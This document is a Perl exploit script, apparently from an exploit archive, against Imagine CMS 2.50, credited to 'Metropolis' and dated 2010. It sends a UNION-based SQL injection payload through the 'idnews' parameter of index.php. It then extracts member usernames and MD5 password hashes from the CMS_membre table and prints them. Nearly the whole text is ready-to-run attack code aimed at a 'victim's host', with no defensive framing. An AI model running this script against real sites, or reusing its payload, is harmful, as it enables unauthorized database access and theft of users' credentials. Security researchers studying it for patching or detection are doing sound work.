Imagine CMS 2.50 SQL Injection

`#!/usr/bin/perl  
###########################################  
#  
# Script Name : Imagine-cms 2.50  
#  
# Version : 2.50  
#  
# Bug Type : SQL Injection  
#  
# Found by : Metropolis  
#  
# Home : http://metropolis.fr.cr  
#  
# Discovered : 21/07/2010  
#  
# Download app :  
# http://www.imagine-cms.net/modules/  
# telechargement/index.php?page=afficher_souscat&id_cat=2  
#  
###########################################  
use IO::Socket;  
if(@ARGV != 2) { usage(); }  
else { exploit(); }  
sub header()  
{  
print "\n- Author: Metropolis\r\n";  
print "- Imagine-cms <= 2.50 Remote SQL Injection Exploit\r\n";  
}  
sub usage()  
{  
header();  
print "- Usage: $0 <host> <path>\r\n";  
print "- <host> -> Victim's host ex: www.victim.com\r\n";  
print "- <path> -> ex: /\r\n";  
exit();  
}  
sub exploit ()  
{  
#Our variables...  
$spserver = $ARGV[0];  
$spserver =~ s/(http:\/\/)//eg;  
$sphost = "http://".$spserver;  
$spdir = $ARGV[1];  
$spport = "80";  
$sptar = "index.php?page=commentaire&idnews=";  
$spxp = "-1+and+1=0+union+select+1,2,concat(25552,membre_pseudo,25553,membre_mdp,25554),4,5+from+CMS_membre--";  
$spreq = $sphost.$spdir.$sptar.$spxp;  
#Sending data...  
header();  
print "- Trying to connect: $spserver\r\n";  
$sp = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$spserver", PeerPort => "$spport") || die "- Connection failed...\n";  
print $sp "GET $spreq HTTP/1.1\n";  
print $sp "Accept: */*\n";  
print $sp "Referer: $sphost\n";  
print $sp "Accept-Language: tr\n";  
print $sp "User-Agent: NukeZilla\n";  
print $sp "Cache-Control: no-cache\n";  
print $sp "Host: $spserver\n";  
print $sp "Connection: close\n\n";  
print "- Connected...\r\n";  
while ($answer = <$sp>) {  
if ($answer =~ /25552(.*?)25553([\d,a-f]{32})25554/) {  
print "- Exploit succeed!\r\n";  
print "- Username: $1\r\n";  
print "- MD5 HASH of PASSWORD: $2\r\n";  
exit();  
}  
}  
#Exploit failed...  
print "- Exploit failed\n"  
}  
  
  
`